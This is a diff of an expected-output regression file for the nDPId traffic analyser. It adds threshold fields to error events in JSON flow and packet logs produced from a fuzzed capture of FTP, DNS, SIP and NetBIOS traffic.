00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":35,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635105699,"flow_src_last_pkt_time":1120469635105699,"flow_dst_last_pkt_time":1120469635105699,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":19,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":19,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":19,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1120469635105699,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"84.168.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00550{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635105699,"flow_dst_last_pkt_time":1120469635105699,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"thread_ts_usec":1120469635105699,"pkt":"AODtAW69ADBUADRWCABFEAA7eRVAADkGcQaT6gH9VKgBAgAVCqDlH5dur53DNFAYYzYlcwAAMjAwIFR5cGUgc2V0IHRvIEkNCg=="} @@ -138,11 +138,11 @@ 00551{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635128754,"flow_dst_last_pkt_time":1120469635128754,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"thread_ts_usec":1120469635128754,"pkt":"ADBUADRWAODtAW6zCABFAAA7aU1AAIAGOXHAqAECk3UB\/QqgABWvHcM65R+X+lAYP3SxkwAAUkVUUiBTaXRlJXMAdC54bWwNCg=="} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":39,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635129222,"flow_src_last_pkt_time":1120469635129222,"flow_dst_last_pkt_time":1120469635129222,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469635129222,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"147.234.1.253","src_port":2721,"dst_port":58999,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00535{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635129222,"flow_dst_last_pkt_time":1120469635129222,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"thread_ts_usec":1120469635129222,"pkt":"ADBUADRWAODtAW69CABFAAB6abtAAIAGOXvAqAEGk+oB\/Qqh5ncb6piKAAAAAHACQABGAAAAAgQFtAkBBAI="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":84,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120469635147102} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469635147102,"packet_id":84,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120469635147102} 00418{"packet_event_id":1,"packet_event_name":"packet","packet_id":84,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":99,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"thread_ts_usec":1120469635129222,"pkt":"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635152654,"flow_src_last_pkt_time":1120469635152654,"flow_dst_last_pkt_time":1120469635152654,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469635152654,"l3_proto":"ip4","src_ip":"37.115.0.253","dst_ip":"192.168.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00534{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635152654,"flow_dst_last_pkt_time":1120469635152654,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"thread_ts_usec":1120469635152654,"pkt":"AODtAW69ADBUADRWCABFAAAweRhAADkGcR4lcwD9wKgBAuZ3CqHlIbocG+qYi3ASYzaDqwAAAQEEAgIEBYM="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":86,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","size":54,"expected":62,"global_ts_usec":1120469635152721} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469635152721,"packet_id":86,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","size":54,"expected":62,"global_ts_usec":1120469635152721} 00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":86,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":42,"pkt_len":54,"pkt_l4_len":12,"thread_ts_usec":1120469635152654,"pkt":"ADBUADRWAODtAW69CABHAAAoabxAAIAGOYLAqAECk+oB\/Qqh5ncb6piL5SG6HVAQQiTRUAAA"} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":41,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635153018,"flow_src_last_pkt_time":1120469635153018,"flow_dst_last_pkt_time":1120469635153018,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1120469635153018,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2721,"dst_port":58999,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635153018,"flow_dst_last_pkt_time":1120469635153018,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1120469635153018,"pkt":"ADBUADRWAODtAW69CABFAAAoab1AAIAGOYHAqAECk+oB\/Qqh5ncb6piL5SG6HVARQiTRTwAA"} @@ -150,7 +150,7 @@ 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635173643,"flow_dst_last_pkt_time":1120469635173643,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1120469635173643,"pkt":"AODtAW69ADBUADRWCABFAAAoeRlAADkGcSWT6gH9wOgBAuZ3CqHlIbodG+qYjFAQYzawPQAAAAAAAAAA"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":43,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635179061,"flow_src_last_pkt_time":1120469635179061,"flow_dst_last_pkt_time":1120469635179061,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1120469635179061,"l3_proto":"ip4","src_ip":"37.115.0.2","dst_ip":"147.234.1.253","src_port":2639,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635179061,"flow_dst_last_pkt_time":1120469635179061,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1120469635179061,"pkt":"ADBUADRWAODtAW69CABFAAAoacBAAIAGOX4lcwACk+oB\/QpPABWvncNU5R+X8VAQPzkeUQAA"} -00218{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":97,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120469638585059} +00318{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469638585059,"packet_id":97,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120469638585059} 00417{"packet_event_id":1,"packet_event_name":"packet","packet_id":97,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120469637833975,"pkt":"\/\/\/\/\/7\/\/AODtAW69CABFAABeacMAAIARTIrAqAECwKgB\/wCJAIkAOluqhPEBEAABAAAAAAB0IEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 00916{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469590405967,"flow_src_last_pkt_time":1120469590405967,"flow_dst_last_pkt_time":1120469590405967,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":306,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":306,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":306,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469637833975,"l3_proto":"ip4","src_ip":"208.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"SIP","proto_id":"100","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP"}} 00768{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469590256418,"flow_src_last_pkt_time":1120469590256418,"flow_dst_last_pkt_time":1120469590256418,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469637833975,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -163,7 +163,7 @@ 01015{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":45,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469664171980,"flow_src_last_pkt_time":1120469664171980,"flow_dst_last_pkt_time":1120469664171980,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469664171980,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_src_last_pkt_time":1120469666174774,"flow_dst_last_pkt_time":1120469664171980,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469666174774,"pkt":"ADBUADRWAODtAW69CABFAABIacoAAIARpYfAqAECwKgBAQqiADUANFpNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":3,"flow_src_last_pkt_time":1120469668178014,"flow_dst_last_pkt_time":1120469664171980,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469668178014,"pkt":"ADBUADRWAODtAW69CABFAABIacsAAIARTYbAqAECwKgBAQqiADUANGxNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhADA="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":104,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469672183692} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469672183692,"packet_id":104,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469672183692} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":104,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469668178014,"pkt":"ADBUADRWAODtAW7bCABFABFIacwAAIARTYXAqAECwKgBAQqiADUANGxNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00768{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":105,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469552651694,"flow_src_last_pkt_time":1120469552651694,"flow_dst_last_pkt_time":1120469552651694,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":34,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469668178014,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.37.115.0","src_port":2712,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00916{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":105,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":7,"flow_dst_packets_processed":0,"flow_first_seen":1120469540839312,"flow_src_last_pkt_time":1120469637833975,"flow_dst_last_pkt_time":1120469540839312,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":350,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469668178014,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} @@ -211,7 +211,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469697468124,"flow_src_last_pkt_time":1120469697468124,"flow_dst_last_pkt_time":1120469697468124,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469697468124,"l3_proto":"ip4","src_ip":"192.168.1.46","dst_ip":"192.168.1.2","src_port":53,"dst_port":2726,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00574{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_src_last_pkt_time":1120469697468124,"flow_dst_last_pkt_time":1120469697468124,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120469697468124,"pkt":"AODtAW69ADBUADRWCABFAABOAABAAEARt0vAqAEuwKgBAgA1CqYAOqrT7deBAAABAAEAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAcAMAAEAAQAAJxAABNTyISM="} 01011{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469697468124,"flow_src_last_pkt_time":1120469697468124,"flow_dst_last_pkt_time":1120469697468124,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469697468124,"l3_proto":"ip4","src_ip":"192.168.1.46","dst_ip":"192.168.1.2","src_port":53,"dst_port":2726,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"sip.cybercity.dk","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":1,"rsp_addr":"212.242.33.35"}}} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":122,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":499,"global_ts_usec":1120469697621120} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469697621120,"packet_id":122,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":499,"global_ts_usec":1120469697621120} 01000{"packet_event_id":1,"packet_event_name":"packet","packet_id":122,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":533,"pkt_l4_len":0,"thread_ts_usec":1120469697469146,"pkt":"AODtAW69ADBUADRWCABFAAIHAAD6ADcRiibU8iEjwKgBAhPEE8QB877qU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDcxIFJFR0lTVEVSDQpGcm9tOiA8c2lwNXZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04fTVhMDBkDQpUbzIgPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODktMTcwMWIwNjctMzIwYWQyZGEzDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTluNzA7cnBvZnQ9NTA2MDticmFuY2g9ejloRzRiS25wMTM4qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00766{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469552651694,"flow_src_last_pkt_time":1120469552651694,"flow_dst_last_pkt_time":1120469552651694,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":34,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469733221155,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.37.115.0","src_port":2712,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00897{"flow_event_id":6,"flow_event_name":"guessed","thread_id":0,"packet_id":128,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469542336890,"flow_src_last_pkt_time":1120469542336890,"flow_dst_last_pkt_time":1120469542336890,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469733221155,"l3_proto":"ip4","src_ip":"217.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"confidence": {"1":"Match by port"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System","hostname":""}} @@ -270,12 +270,12 @@ 00769{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":133,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469828958825,"flow_src_last_pkt_time":1120469828958825,"flow_dst_last_pkt_time":1120469828958825,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469828958825,"l3_proto":"ip4","src_ip":"192.168.1.202","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00583{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_src_last_pkt_time":1120469828958825,"flow_dst_last_pkt_time":1120469828958825,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120469828958825,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOah8AAIARTC7AqAHKwKgB\/wCJAIkAOluchP8BEAABAAAAAAAAIEVGRURFSkZQRUVFUEVOa0JFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 00898{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":133,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469828958825,"flow_src_last_pkt_time":1120469828958825,"flow_dst_last_pkt_time":1120469828958825,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469828958825,"l3_proto":"ip4","src_ip":"192.168.1.202","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System","hostname":"eci_dom"}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":136,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469830657803} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469830657803,"packet_id":136,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469830657803} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":136,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469828958825,"pkt":"ADBPADRWAODtAW69CABFAI1IaiAAAIARTTHAqAECwKgBAQqsADUANM1AXNgBAAABAAABgAAABF9zaXAEX3VkcANzMnAJY3liZXJjaXR5AmRrAAAhAAE="} 